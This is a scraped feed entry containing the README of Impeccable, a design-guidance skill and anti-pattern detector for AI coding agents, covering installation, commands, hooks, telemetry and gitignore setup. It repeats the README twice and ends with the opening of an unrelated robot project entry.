.impeccable out of gitAs you run commands, Impeccable writes working files under .impeccable/: critique and polish screenshots, live-mode session and preview state, runtime caches, and per-developer config. Most of it is ephemeral and should not be committed, while a few files are shared project artifacts that belong in the repo. Add this block to your project's .gitignore:
# impeccable-ignore-start\n# Ephemeral output, runtime state, and per-dev overrides.\n# The **/ prefix covers .impeccable at the repo root or in a nested workspace.\n# Shared artifacts stay tracked: config.json, live/config.json,\n# design.json, surfaces/*.md, critique/*.md.\n**/.impeccable/config.local.json\n**/.impeccable/hook.cache.json\n**/.impeccable/hook.pending.json\n**/.impeccable/*.png\n**/.impeccable/review/\n**/.impeccable/questions/\n**/.impeccable/live/server.json\n**/.impeccable/live/sessions/\n**/.impeccable/live/previews/\n**/.impeccable/live/annotations/\n**/.impeccable/live/cache/\n**/.impeccable/live/manual-edit-apply-transaction.json\n**/.impeccable/live/manual-edit-events.jsonl\n**/.impeccable/live/manual-edit-evidence/\n**/.impeccable/live/pending-manual-edits.json\n**/.impeccable/live/deferred-svelte-component-accepts.json\n**/.impeccable/live/*.png\n# impeccable-ignore-end\nThe block is wrapped in # impeccable-ignore-start / # impeccable-ignore-end markers so you can recognize and refresh it later. The **/ prefix makes each pattern match whether the active project's .impeccable/ directory is at the repository root or under a nested workspace path like apps/web/.
Keep these tracked (they are shared project artifacts, do not add them to .gitignore):
.impeccable/config.json (unified shared config).impeccable/live/config.json (live-mode framework wiring).impeccable/design.json (shared design spec).impeccable/surfaces/*.md (route- or artifact-specific strategy and direction contracts).impeccable/critique/*.md (review reports)Impeccable also keeps its own .gitignore in the folders that hold decision-round state: .impeccable/questions/ and .impeccable/mocks/worlds/ ignore everything in them, and .impeccable/build/ ignores state.json. That keeps new runtime files out of commits even in a project without the block above. A .gitignore cannot untrack a file git already tracks, though: when one of these files was committed earlier, the next roll prints a one-time notice with the fix, git rm -r --cached .impeccable/questions (plus any other folder it names), and writes its roll record to an untracked file until then.
If an ephemeral file (a screenshot, config.local.json) was committed before you added the block, .gitignore will not untrack it automatically. Run git rm --cached <path> to stop tracking it without deleting your local copy.
When a new design starts, the skill asks the roll API at impeccable.style to deal a hand of visual worlds from the catalog. That request is the feature, so it always happens. Unless you opt out, it also feeds an anonymous record of which hand was shown and which card won, which is how the catalog learns what works.
\nWhat is sent, on the roll request and on the choice that follows it:
\nNever sent: your project's name, files, code, PRODUCT.md, or the names of the directions your agent wrote. Committed files such as surface briefs record only a seed reference, a hash of the roll key under a random salt kept in ~/.impeccable/seed-salt, never the key itself. If no salt can be kept on a machine, the brief records no seed at all rather than a weaker hash. Roll keys are 128 random bits. If you pass your own short key with --from, its reference is easy to guess, so do not rely on it to keep that key private.
To turn it off, run npx impeccable telemetry off (stored in ~/.impeccable/config.json), or set DO_NOT_TRACK=1 or IMPECCABLE_NO_TELEMETRY=1. A project can opt everyone out with \"telemetry\": false in .impeccable/config.json. npx impeccable telemetry status shows the current state. Opted out, the roll still works and the API is told not to record it. Details: https://impeccable.style/privacy
On Claude Code, GitHub Copilot, Codex, Cursor, and Grok Build, npx impeccable install and npx impeccable update install a provider-native hook manifest along with the skill payload. The hook runs the Impeccable design detector on direct UI file edits and surfaces findings back into the agent flow. Claude Code, GitHub Copilot, Codex, and Cursor surface findings after the edit (and run a deeper pass on Stop where supported). Grok Build scans after the edit to warm Stop, then surfaces on Stop; PostToolUse stdout never reaches the model.
Installed hook surfaces:
\n.claude/settings.local.json (gitignored, machine-local) runs ${CLAUDE_PROJECT_DIR}/.claude/skills/impeccable/scripts/impeccable hook. A hook moved into the shared settings.json is honored in place..github/hooks/impeccable.json (committed, shared by the Copilot CLI and the cloud agent) runs .github/skills/impeccable/scripts/impeccable hook. The Copilot CLI activates it once the file is on the repository's default branch and the folder is trusted..cursor/hooks.json runs .cursor/skills/impeccable/scripts/impeccable hook on postToolUse for file writes. Projects set up with the older preToolUse write gate keep working; npx impeccable update moves them to the post-edit hook..codex/hooks.json runs .agents/skills/impeccable/scripts/impeccable hook, with a commandWindows sibling that calls impeccable.cmd for cmd.exe..grok/hooks/impeccable.json runs .grok/skills/impeccable/scripts/impeccable hook. Requires /hooks-trust or --trust. Findings reach the model on Stop, not after each edit.Every command goes through the launcher shipped in the skill's scripts/ directory (impeccable, or impeccable.cmd on Windows), guarded so a missing launcher is a silent no-op. The launcher runs the engine binary that ships next to it, or downloads the pinned version once into ~/.impeccable/bin/. No Node or other runtime is required for the hook or the skill.
In Claude Code, installed command hooks run independently of model-tool approval. The first edit or Stop event can therefore download and cache the engine even if the session denies the model's launcher command. Review installed hooks before unattended runs; to disable all Claude Code hooks for a run, pass --settings '{\"disableAllHooks\": true}'. See Claude Code's hook security guidance.
The installer preserves unrelated hook entries and settings. If a hook manifest is malformed, install/update aborts by default; rerun with --force to back up the malformed file as .bak and replace it.
On an interactive install/update, Impeccable explains the hook and offers to install it (default yes). Your choice is remembered per-developer in the gitignored .impeccable/config.local.json, so you are not asked again; --no-hooks skips it for that run without recording anything. Hook lifecycle settings live under the hook key of .impeccable/config.json; detector ignores live under detector, shared by /impeccable hooks and npx impeccable detect.
For debugging, set hook.auditLog in .impeccable/config.json to a path (or the legacy IMPECCABLE_HOOK_LOG env var) to write one NDJSON line per hook invocation. Leave it unset for normal use.
When a new surface gets designed, Impeccable either generates a full-fidelity comp first and builds to match it, or builds straight in code with the ambition written into a development-only direction contract in the surface brief and checked at the finish. Comp-first composes bolder and takes longer; code-first is leaner and faster. The choice covers landing pages and showcase surfaces. App screens and documents are built code-first either way, because they come out better built than pictured. /impeccable init asks once and records the answer as buildPath in .impeccable/config.json:
{ \"buildPath\": \"comp\" }\nThe values are comp and code, and nothing else is read. Set it in the gitignored .impeccable/config.local.json to override the team's committed value on one machine, which is what you want when your harness has no image generation. In a monorepo, commit it once at the repo root and any workspace that wants something else sets its own. The choice appears at all only where image generation is available, since without it there is nothing to comp.
You do not have to re-run init to set it on a project that predates the setting, and you do not have to edit the file by hand either. Whatever is recorded is a default rather than a lock: every decision page carries a footer toggle, and flipping it binds that session only. Flip it on a project that has recorded nothing and Impeccable asks once, after the round, whether to keep it, then writes your answer. That is the whole migration path for an existing project: use the toggle when the default is wrong, and answer the question that follows.
Codex requires one platform step that Impeccable cannot safely skip: open /hooks after install or update and approve the project hook. There is no Codex marketplace/plugin install flow for this hook.
Full hook docs: impeccable.style/docs/hooks.
\nThe Stop pass suppresses confirmed pre-existing findings when a verified before-edit baseline is available (currently Claude Edit/Write results for text scans). Other findings are marked new or attribution unknown; unknown is not evidence that your session caused the problem. Explicit detect scans remain unchanged.
Manual copy commands are fallback/debug instructions. The normal path is:
\nnpx impeccable install\nnpx impeccable update\nLive mode edits a local checkout through a development server or local static HTML. Injecting its localhost HTTP helper into a deployed production site, including an HTTPS site, is not supported. Do not disable browser security or weaken production CSP to make it work.
\nUse live mode only in projects you trust to run locally. Applying copy edits automatically runs package.json's optional scripts[\"impeccable:manual-edit-validate\"] command in a shell, with your user permissions; review that script before using live mode in an unfamiliar checkout.
For production inspection, use npx impeccable detect https://example.com or the browser extension. These inspect the rendered page; they do not provide live variant editing or write changes back to your source.
Impeccable includes a standalone CLI for detecting anti-patterns without an AI harness. npx impeccable is a small shim that runs the same engine binary the skill uses (installed as a platform-specific optional dependency, or fetched once into ~/.impeccable/bin/); Node is needed only for npx itself, and you can also download the binary directly and put it on your PATH.
npx impeccable detect src/ # scan a directory\nnpx impeccable detect index.html # scan an HTML file\nnpx impeccable detect https://example.com # scan a URL (uses an installed Chrome, Chromium, or Edge)\nnpx impeccable detect --json . # CI-friendly JSON output\nnpx impeccable detect --github src/ # GitHub Actions annotations on stdout\nnpx impeccable detect --list-rules # catalog of detector rule ids, names, and descriptions\nnpx impeccable detect --no-config src/ # raw scan, ignoring project config/context\nnpx impeccable ignores list # show detector ignores\nnpx impeccable ignores add-file \"src/legacy/**\"\nnpx impeccable ignores add-value overused-font Inter --reason \"Brand font\"\nThe detector catches 62 deterministic issues across AI slop (side-tab borders, purple gradients, bounce easing, dark glows) and general design quality (line length, cramped padding, small touch targets, skipped headings, and more).
\nHuman-readable findings are diagnostics written to stderr, so redirect them with 2> findings.txt. Use --json for machine-readable results on stdout, or --github for GitHub Actions annotations (one workflow command per finding). GitHub displays at most 10 annotations of each type per step and 50 per job, and the rest stay in the log; findings from the HTML engine may carry no line number, so they annotate the file. --list-rules prints the detector catalog to stdout and does not scan. Exit 0 means the scan completed without primary findings, exit 2 means it completed with primary findings, and exit 1 means at least one requested target could not be scanned; operational failure takes precedence for a partial multi-target scan. URL scans inspect the rendered DOM, computed layout, and accessible linked stylesheets; browser security still prevents reading cross-origin CSS without CORS. A clean detector run is evidence, not proof of visual or accessibility quality: it does not replace inspecting the rendered experience across relevant viewports.
By default, detect respects the same .impeccable/config.json and .impeccable/config.local.json detector config as the design hook: detector.ignoreRules, detector.ignoreFiles, detector.ignoreValues, and detector.designSystem.enabled. Hook lifecycle settings such as hook.enabled only affect automatic hook execution.
For a waiver that should travel with one file instead of the repo config, add an inline comment in the file: <!-- impeccable-disable overused-font: exported brand doc -->. The marker works in any comment syntax, scopes to the whole file (or one line with impeccable-disable-line / impeccable-disable-next-line), and is bypassed by --no-inline-ignores or --no-config.
Full detector docs: impeccable.style/docs/detector.
\nJoin the community and ecosystem conversations:
\nSee DEVELOP.md for contributor guidelines and build instructions.
\nApache 2.0. See LICENSE.
\nCreated by Paul Bakaus
", "summary": "The design language that makes your AI harness better at design.
Design guidance for AI coding agents. 1 skill, 24 commands, live browser iteration, and 62 deterministic detector rules for AI-generated frontend design.
\n\n\nQuick start: From your project root, run
\nnpx impeccable install, then run/impeccable initinside your AI coding tool. Full docs: impeccable.style.
Anthropic's frontend-design was the first widely-used design skill for Claude. Impeccable started from there.
\nEvery model trained on the same SaaS templates. Skip the guidance and you get the same handful of tells on every project: Inter for everything, purple-to-blue gradients, cards nested in cards, gray text on colored backgrounds, the rounded-square icon tile above every heading.
\nImpeccable adds:
\n/impeccable init records durable product truth in PRODUCT.md, so later commands know the audience, purpose, operating context, constraints, voice, and evidence without confusing those facts with surface-level visual direction.polish, audit, critique, distill, animate, bolder, quieter, and more.The skill installs as one command:
\n/impeccable <command> <target>\nStart every new project with:
\n/impeccable init\ninit inspects the project, asks only for material gaps in durable product truth, and writes PRODUCT.md. Visitor mode and visual direction are chosen later for each surface; incumbent or newly built visual systems are recorded separately in DESIGN.md.
All commands are accessed through /impeccable:
| Command | \nWhat it does | \n
|---|---|
/impeccable craft | \n Full shape-then-build flow with visual iteration | \n
/impeccable init | \n One-time setup: gather durable product context, write PRODUCT.md, configure live mode when applicable, recommend next steps | \n
/impeccable document | \n Generate root DESIGN.md from existing project code | \n
/impeccable extract | \n Pull reusable components and tokens into the design system | \n
/impeccable shape | \n Plan UX/UI before writing code | \n
/impeccable critique | \n UX design review: hierarchy, clarity, emotional resonance | \n
/impeccable audit | \n Run technical quality checks (a11y, performance, responsive) | \n
/impeccable polish | \n Final pass, design system alignment, and shipping readiness | \n
/impeccable bolder | \n Amplify boring designs | \n
/impeccable quieter | \n Tone down overly bold designs | \n
/impeccable distill | \n Strip to essence | \n
/impeccable harden | \n Error handling, i18n, text overflow, edge cases | \n
/impeccable onboard | \n First-run flows, empty states, activation paths | \n
/impeccable animate | \n Add purposeful motion | \n
/impeccable colorize | \n Introduce strategic color | \n
/impeccable typeset | \n Fix font choices, hierarchy, sizing | \n
/impeccable layout | \n Fix layout, spacing, visual rhythm | \n
/impeccable delight | \n Add moments of joy | \n
/impeccable overdrive | \n Add technically extraordinary effects | \n
/impeccable clarify | \n Improve unclear UX copy | \n
/impeccable adapt | \n Adapt for different devices | \n
/impeccable optimize | \n Performance improvements | \n
/impeccable live | \n Visual variant mode: iterate on elements in the browser | \n
/impeccable generate | \n Generate variants of a named element in the live browser, no manual picking | \n
Use /impeccable pin <command> to create standalone shortcuts (e.g., pin audit creates /audit).
/impeccable audit blog # Audit blog hub + post pages\n/impeccable critique landing # UX design review\n/impeccable polish settings # Final pass before shipping\n/impeccable harden checkout # Add error handling + edge cases\nOr use /impeccable directly with a description:
/impeccable redo this hero section\nThe skill includes explicit guidance on what to avoid:
\nVisit the Neo Mirai case study to see a before/after case study of a real project transformed with Impeccable commands.
\nThe skill needs no runtime of its own. Every skill copy ships a small launcher (scripts/impeccable, plus impeccable.cmd for Windows) that runs the Impeccable engine, a self-contained binary that either sits next to the launcher or is downloaded once on first run into ~/.impeccable/bin/. Node is only involved if you use the npx impeccable installer, which is a shim around the same binary; the manual and Git options below work without it.
From the root of your project, run:
\nnpx impeccable install\nThis shows the harness folders or installed CLIs it detected (for example ~/.claude, ~/.codex, ~/.grok, ~/.hermes, ~/.veto, or project-local .cursor), lets you keep the detected set or customize providers, then asks whether to install into the current project or globally. Use --providers=claude,codex,cursor,grok,hermes,veto and --scope=project|global to skip those choices in scripts. On Claude Code, Cursor, Codex, GitHub Copilot, and Grok Build, it also installs the provider-native hook manifest for the current project. Veto receives the packaged skill under ~/.veto/skills/ and does not run native Impeccable edit hooks. Works with Cursor, Claude Code, Gemini CLI, Codex CLI, Grok Build, Hermes Agent, Veto, and every other supported tool. Reload your harness afterward.
To refresh an existing install, run:
\nnpx impeccable update\nCodex users should open /hooks after install or update and approve the project hook when prompted. Codex tracks trust by hook definition, so updates that change .codex/hooks.json can require approval again. Grok Build users need project folder trust (/hooks-trust or launch with --trust) before .grok/hooks/ scripts run.
See Allow the hook in your harness for harness-specific trust and verification steps.
\nFor teams that want to keep Impeccable vendored and updated through Git, add this repo as a submodule and link the compiled provider build into your harness folders:
\ngit submodule add https://github.com/pbakaus/impeccable .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\ngit add .gitmodules .impeccable .claude .cursor\ngit commit -m \"Add Impeccable skills\"\nUse the providers your project needs, for example claude, cursor, gemini, codex, github, grok, hermes, opencode, pi, qoder, trae, trae-cn, rovo-dev, vibe, or veto. The command links individual skill folders from .impeccable/dist/universal/ and leaves existing real skill directories untouched unless you pass --force.
To update later:
\ngit submodule update --remote .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\nGitHub Copilot in VS Code:
\nInstall Impeccable from the Visual Studio Marketplace, or run:
\ncode --install-extension renaissance-geek.impeccable\nRequires VS Code 1.109.3+, Copilot Chat access, and a trusted local workspace. Open Chat in Agent mode and try /impeccable polish. This skill-only extension does not install automatic hooks; avoid a duplicate Impeccable skill in the same workspace/profile. See VS Code distribution details.
Claude Code:
\n/plugin marketplace add pbakaus/impeccable\n\n\nClaude Code only. After adding the marketplace, open
\n/pluginand install Impeccable from the list.
Grok Build:
\ngrok plugin install pbakaus/impeccable#plugin --trust\n\n\nGrok Build only. The
\n#pluginsuffix installs the slim plugin package (skills, agents, and hooks) instead of the full monorepo. Then run/impeccable initin a Grok session. Project-scoped installs vianpx impeccable install --providers=grokalso work and write.grok/skills/plus.grok/hooks/impeccable.json.
Visit impeccable.style, download the ZIP for your tool, and extract to your project.
\nCursor:
\ncp -r dist/cursor/.cursor your-project/\n\n\nNote: Cursor skills require setup:
\n\n
\n \n- Switch to Nightly channel in Cursor Settings \u2192 Beta
\n- Enable Agent Skills in Cursor Settings \u2192 Rules
\n
Claude Code:
\n# Project-specific\ncp -r dist/claude-code/.claude your-project/\n\n# Or global (applies to all projects)\ncp -r dist/claude-code/.claude/* ~/.claude/\nOpenCode:
\ncp -r dist/opencode/.opencode your-project/\nDeepSeek Harness:
\n# Project-specific\ncp -r dist/dsh/.dsh your-project/\n\n# Or global (applies to all projects)\nmkdir -p \"${DSH_HOME:-$HOME/.dsh}/skills\"\ncp -r dist/dsh/.dsh/skills/* \"${DSH_HOME:-$HOME/.dsh}/skills/\"\nThe CLI honors DSH_HOME only when it resolves inside your home directory (or to home itself); otherwise it uses ~/.dsh. An outside-home manual copy is not managed by impeccable install/update.
Hermes Agent:
\n# Global (applies to all projects; uses the active profile, or ~/.hermes by default)\ncp -r dist/hermes/.hermes/skills/* \"${HERMES_HOME:-$HOME/.hermes}/skills/\"\n\n# Or project-specific\ncp -r dist/hermes/.hermes your-project/\n\n\nNote: Hermes gates project-local skills behind a per-repo trust decision (they are procedure documents, so auto-loading them from any cloned repo is treated as a prompt-injection vector). After a project-scoped install, run
\n \nhermes skills trustonce from the project root. Global installs into the active$HERMES_HOME/skills/(or~/.hermes/skills/when unset) load without a trust step./impeccable <command>then routes through the skill's Commands table; the design hook does not install on Hermes (no hook surface).
Pi:
\ncp -r dist/pi/.pi your-project/\nGemini CLI:
\ncp -r dist/gemini/.gemini your-project/\n\n\nNote: Gemini CLI skills require setup:
\n\n
\n \n- Install preview version:
\nnpm i -g @google/gemini-cli@preview- Run
\n/settingsand enable \"Skills\"- Run
\n/skills listto verify installation
Codex CLI:
\n# Project-local\ncp -r dist/agents/.agents your-project/\nmkdir -p your-project/.codex\ncp dist/codex/.codex/hooks.json your-project/.codex/hooks.json\n\n# Or install the skill user-wide. Copy .codex/hooks.json into each project\n# where you want the design hook to run.\nmkdir -p ~/.agents/skills\ncp -r dist/agents/.agents/skills/* ~/.agents/skills/\n\n\nThe asset-producer subagent ships nested inside the skill's own
\nagents/folder, which Codex auto-discovers. No separate.codex/agents/copy is needed. The hook is project-local because Codex discovers hooks from.codex/hooks.jsonnext to trusted project config.
GitHub Copilot:
\ncp -r dist/github/.github your-project/\nTrae:
\n# Trae China (domestic version)\ncp -r dist/trae/.trae-cn/skills/* ~/.trae-cn/skills/\n\n# Trae International\ncp -r dist/trae/.trae/skills/* ~/.trae/skills/\n\n\nNote: Trae has two versions with different config directories:
\n\n
\n- Trae China:
\n~/.trae-cn/skills/- Trae International:
\n~/.trae/skills/After copying, restart Trae IDE to activate the skills.
\n
Rovo Dev:
\n# Project-specific\ncp -r dist/rovo-dev/.rovodev your-project/\n\n# Or global (applies to all projects)\ncp -r dist/rovo-dev/.rovodev/skills/* ~/.rovodev/skills/\nQoder:
\n# Project-specific\ncp -r dist/qoder/.qoder your-project/\n\n# Or global (applies to all projects)\ncp -r dist/qoder/.qoder/skills/* ~/.qoder/skills/\nMistral Vibe:
\n# Project-specific\ncp -r dist/vibe/.vibe your-project/\n\n# Or global (applies to all projects)\ncp -r dist/vibe/.vibe/skills/* ~/.vibe/skills/\nGrok Build:
\n# Project-specific\ncp -r dist/grok/.grok your-project/\n\n# Or global (applies to all projects)\ncp -r dist/grok/.grok/skills/* ~/.grok/skills/\n\n\nPrefer
\nnpx impeccable install --providers=grokorgrok plugin install pbakaus/impeccable#plugin --trustso the design hook installs too. Project hooks need/hooks-trust(or--trust) once per folder.
Google Antigravity:
\n# Project-specific\ncp -r dist/antigravity/.agent your-project/\n\n# Or global (applies to all projects)\nmkdir -p ~/.gemini/config/skills\ncp -r dist/antigravity/.agent/skills/* ~/.gemini/config/skills/\nOnce installed, every command runs through the single /impeccable skill:
/impeccable audit # Find issues\n/impeccable polish # Final cleanup\n/impeccable distill # Remove complexity\n/impeccable critique # Full design review\nType /impeccable alone to see the full command list.
Most commands accept an optional argument to focus on a specific area:
\n/impeccable audit the header\n/impeccable polish the checkout form\nIf you reach for one command often, pin it with /impeccable pin audit to get /audit as a standalone shortcut.
Note: Codex uses skills here, not /prompts: commands. Open /skills or type $impeccable. Repo-local installs live in .agents/skills/; user-wide installs live in ~/.agents/skills/. GitHub Copilot uses .github/skills/. Restart the tool if a newly installed skill does not appear.
.impeccable out of gitAs you run commands, Impeccable writes working files under .impeccable/: critique and polish screenshots, live-mode session and preview state, runtime caches, and per-developer config. Most of it is ephemeral and should not be committed, while a few files are shared project artifacts that belong in the repo. Add this block to your project's .gitignore:
# impeccable-ignore-start\n# Ephemeral output, runtime state, and per-dev overrides.\n# The **/ prefix covers .impeccable at the repo root or in a nested workspace.\n# Shared artifacts stay tracked: config.json, live/config.json,\n# design.json, surfaces/*.md, critique/*.md.\n**/.impeccable/config.local.json\n**/.impeccable/hook.cache.json\n**/.impeccable/hook.pending.json\n**/.impeccable/*.png\n**/.impeccable/review/\n**/.impeccable/questions/\n**/.impeccable/live/server.json\n**/.impeccable/live/sessions/\n**/.impeccable/live/previews/\n**/.impeccable/live/annotations/\n**/.impeccable/live/cache/\n**/.impeccable/live/manual-edit-apply-transaction.json\n**/.impeccable/live/manual-edit-events.jsonl\n**/.impeccable/live/manual-edit-evidence/\n**/.impeccable/live/pending-manual-edits.json\n**/.impeccable/live/deferred-svelte-component-accepts.json\n**/.impeccable/live/*.png\n# impeccable-ignore-end\nThe block is wrapped in # impeccable-ignore-start / # impeccable-ignore-end markers so you can recognize and refresh it later. The **/ prefix makes each pattern match whether the active project's .impeccable/ directory is at the repository root or under a nested workspace path like apps/web/.
Keep these tracked (they are shared project artifacts, do not add them to .gitignore):
.impeccable/config.json (unified shared config).impeccable/live/config.json (live-mode framework wiring).impeccable/design.json (shared design spec).impeccable/surfaces/*.md (route- or artifact-specific strategy and direction contracts).impeccable/critique/*.md (review reports)Impeccable also keeps its own .gitignore in the folders that hold decision-round state: .impeccable/questions/ and .impeccable/mocks/worlds/ ignore everything in them, and .impeccable/build/ ignores state.json. That keeps new runtime files out of commits even in a project without the block above. A .gitignore cannot untrack a file git already tracks, though: when one of these files was committed earlier, the next roll prints a one-time notice with the fix, git rm -r --cached .impeccable/questions (plus any other folder it names), and writes its roll record to an untracked file until then.
If an ephemeral file (a screenshot, config.local.json) was committed before you added the block, .gitignore will not untrack it automatically. Run git rm --cached <path> to stop tracking it without deleting your local copy.
When a new design starts, the skill asks the roll API at impeccable.style to deal a hand of visual worlds from the catalog. That request is the feature, so it always happens. Unless you opt out, it also feeds an anonymous record of which hand was shown and which card won, which is how the catalog learns what works.
\nWhat is sent, on the roll request and on the choice that follows it:
\nNever sent: your project's name, files, code, PRODUCT.md, or the names of the directions your agent wrote. Committed files such as surface briefs record only a seed reference, a hash of the roll key under a random salt kept in ~/.impeccable/seed-salt, never the key itself. If no salt can be kept on a machine, the brief records no seed at all rather than a weaker hash. Roll keys are 128 random bits. If you pass your own short key with --from, its reference is easy to guess, so do not rely on it to keep that key private.
To turn it off, run npx impeccable telemetry off (stored in ~/.impeccable/config.json), or set DO_NOT_TRACK=1 or IMPECCABLE_NO_TELEMETRY=1. A project can opt everyone out with \"telemetry\": false in .impeccable/config.json. npx impeccable telemetry status shows the current state. Opted out, the roll still works and the API is told not to record it. Details: https://impeccable.style/privacy
On Claude Code, GitHub Copilot, Codex, Cursor, and Grok Build, npx impeccable install and npx impeccable update install a provider-native hook manifest along with the skill payload. The hook runs the Impeccable design detector on direct UI file edits and surfaces findings back into the agent flow. Claude Code, GitHub Copilot, Codex, and Cursor surface findings after the edit (and run a deeper pass on Stop where supported). Grok Build scans after the edit to warm Stop, then surfaces on Stop; PostToolUse stdout never reaches the model.
Installed hook surfaces:
\n.claude/settings.local.json (gitignored, machine-local) runs ${CLAUDE_PROJECT_DIR}/.claude/skills/impeccable/scripts/impeccable hook. A hook moved into the shared settings.json is honored in place..github/hooks/impeccable.json (committed, shared by the Copilot CLI and the cloud agent) runs .github/skills/impeccable/scripts/impeccable hook. The Copilot CLI activates it once the file is on the repository's default branch and the folder is trusted..cursor/hooks.json runs .cursor/skills/impeccable/scripts/impeccable hook on postToolUse for file writes. Projects set up with the older preToolUse write gate keep working; npx impeccable update moves them to the post-edit hook..codex/hooks.json runs .agents/skills/impeccable/scripts/impeccable hook, with a commandWindows sibling that calls impeccable.cmd for cmd.exe..grok/hooks/impeccable.json runs .grok/skills/impeccable/scripts/impeccable hook. Requires /hooks-trust or --trust. Findings reach the model on Stop, not after each edit.Every command goes through the launcher shipped in the skill's scripts/ directory (impeccable, or impeccable.cmd on Windows), guarded so a missing launcher is a silent no-op. The launcher runs the engine binary that ships next to it, or downloads the pinned version once into ~/.impeccable/bin/. No Node or other runtime is required for the hook or the skill.
In Claude Code, installed command hooks run independently of model-tool approval. The first edit or Stop event can therefore download and cache the engine even if the session denies the model's launcher command. Review installed hooks before unattended runs; to disable all Claude Code hooks for a run, pass --settings '{\"disableAllHooks\": true}'. See Claude Code's hook security guidance.
The installer preserves unrelated hook entries and settings. If a hook manifest is malformed, install/update aborts by default; rerun with --force to back up the malformed file as .bak and replace it.
On an interactive install/update, Impeccable explains the hook and offers to install it (default yes). Your choice is remembered per-developer in the gitignored .impeccable/config.local.json, so you are not asked again; --no-hooks skips it for that run without recording anything. Hook lifecycle settings live under the hook key of .impeccable/config.json; detector ignores live under detector, shared by /impeccable hooks and npx impeccable detect.
For debugging, set hook.auditLog in .impeccable/config.json to a path (or the legacy IMPECCABLE_HOOK_LOG env var) to write one NDJSON line per hook invocation. Leave it unset for normal use.
When a new surface gets designed, Impeccable either generates a full-fidelity comp first and builds to match it, or builds straight in code with the ambition written into a development-only direction contract in the surface brief and checked at the finish. Comp-first composes bolder and takes longer; code-first is leaner and faster. The choice covers landing pages and showcase surfaces. App screens and documents are built code-first either way, because they come out better built than pictured. /impeccable init asks once and records the answer as buildPath in .impeccable/config.json:
{ \"buildPath\": \"comp\" }\nThe values are comp and code, and nothing else is read. Set it in the gitignored .impeccable/config.local.json to override the team's committed value on one machine, which is what you want when your harness has no image generation. In a monorepo, commit it once at the repo root and any workspace that wants something else sets its own. The choice appears at all only where image generation is available, since without it there is nothing to comp.
You do not have to re-run init to set it on a project that predates the setting, and you do not have to edit the file by hand either. Whatever is recorded is a default rather than a lock: every decision page carries a footer toggle, and flipping it binds that session only. Flip it on a project that has recorded nothing and Impeccable asks once, after the round, whether to keep it, then writes your answer. That is the whole migration path for an existing project: use the toggle when the default is wrong, and answer the question that follows.
Codex requires one platform step that Impeccable cannot safely skip: open /hooks after install or update and approve the project hook. There is no Codex marketplace/plugin install flow for this hook.
Full hook docs: impeccable.style/docs/hooks.
\nThe Stop pass suppresses confirmed pre-existing findings when a verified before-edit baseline is available (currently Claude Edit/Write results for text scans). Other findings are marked new or attribution unknown; unknown is not evidence that your session caused the problem. Explicit detect scans remain unchanged.
Manual copy commands are fallback/debug instructions. The normal path is:
\nnpx impeccable install\nnpx impeccable update\nLive mode edits a local checkout through a development server or local static HTML. Injecting its localhost HTTP helper into a deployed production site, including an HTTPS site, is not supported. Do not disable browser security or weaken production CSP to make it work.
\nUse live mode only in projects you trust to run locally. Applying copy edits automatically runs package.json's optional scripts[\"impeccable:manual-edit-validate\"] command in a shell, with your user permissions; review that script before using live mode in an unfamiliar checkout.
For production inspection, use npx impeccable detect https://example.com or the browser extension. These inspect the rendered page; they do not provide live variant editing or write changes back to your source.
Impeccable includes a standalone CLI for detecting anti-patterns without an AI harness. npx impeccable is a small shim that runs the same engine binary the skill uses (installed as a platform-specific optional dependency, or fetched once into ~/.impeccable/bin/); Node is needed only for npx itself, and you can also download the binary directly and put it on your PATH.
npx impeccable detect src/ # scan a directory\nnpx impeccable detect index.html # scan an HTML file\nnpx impeccable detect https://example.com # scan a URL (uses an installed Chrome, Chromium, or Edge)\nnpx impeccable detect --json . # CI-friendly JSON output\nnpx impeccable detect --github src/ # GitHub Actions annotations on stdout\nnpx impeccable detect --list-rules # catalog of detector rule ids, names, and descriptions\nnpx impeccable detect --no-config src/ # raw scan, ignoring project config/context\nnpx impeccable ignores list # show detector ignores\nnpx impeccable ignores add-file \"src/legacy/**\"\nnpx impeccable ignores add-value overused-font Inter --reason \"Brand font\"\nThe detector catches 62 deterministic issues across AI slop (side-tab borders, purple gradients, bounce easing, dark glows) and general design quality (line length, cramped padding, small touch targets, skipped headings, and more).
\nHuman-readable findings are diagnostics written to stderr, so redirect them with 2> findings.txt. Use --json for machine-readable results on stdout, or --github for GitHub Actions annotations (one workflow command per finding). GitHub displays at most 10 annotations of each type per step and 50 per job, and the rest stay in the log; findings from the HTML engine may carry no line number, so they annotate the file. --list-rules prints the detector catalog to stdout and does not scan. Exit 0 means the scan completed without primary findings, exit 2 means it completed with primary findings, and exit 1 means at least one requested target could not be scanned; operational failure takes precedence for a partial multi-target scan. URL scans inspect the rendered DOM, computed layout, and accessible linked stylesheets; browser security still prevents reading cross-origin CSS without CORS. A clean detector run is evidence, not proof of visual or accessibility quality: it does not replace inspecting the rendered experience across relevant viewports.
By default, detect respects the same .impeccable/config.json and .impeccable/config.local.json detector config as the design hook: detector.ignoreRules, detector.ignoreFiles, detector.ignoreValues, and detector.designSystem.enabled. Hook lifecycle settings such as hook.enabled only affect automatic hook execution.
For a waiver that should travel with one file instead of the repo config, add an inline comment in the file: <!-- impeccable-disable overused-font: exported brand doc -->. The marker works in any comment syntax, scopes to the whole file (or one line with impeccable-disable-line / impeccable-disable-next-line), and is bypassed by --no-inline-ignores or --no-config.
Full detector docs: impeccable.style/docs/detector.
\nJoin the community and ecosystem conversations:
\nSee DEVELOP.md for contributor guidelines and build instructions.
\nApache 2.0. See LICENSE.
\nCreated by Paul Bakaus
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/pollen-robotics/microduck", "url": "https://github.com/pollen-robotics/microduck", "external_url": null, "title": "pollen-robotics/microduck", "content_text": "", "content_html": "A Tiny biped duck robot \ud83e\udd86
https://pollen-robotics.com/microduck
A tiny biped robot that moves using reinforcement learning policies.
\nGet yours here \u00b7 Cheat sheet \u00b7 Training the policies \u00b7 How it works \u00b7 Contributing
\n ![\"CI\"](\"https://github.com/pollen-robotics/microduck/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
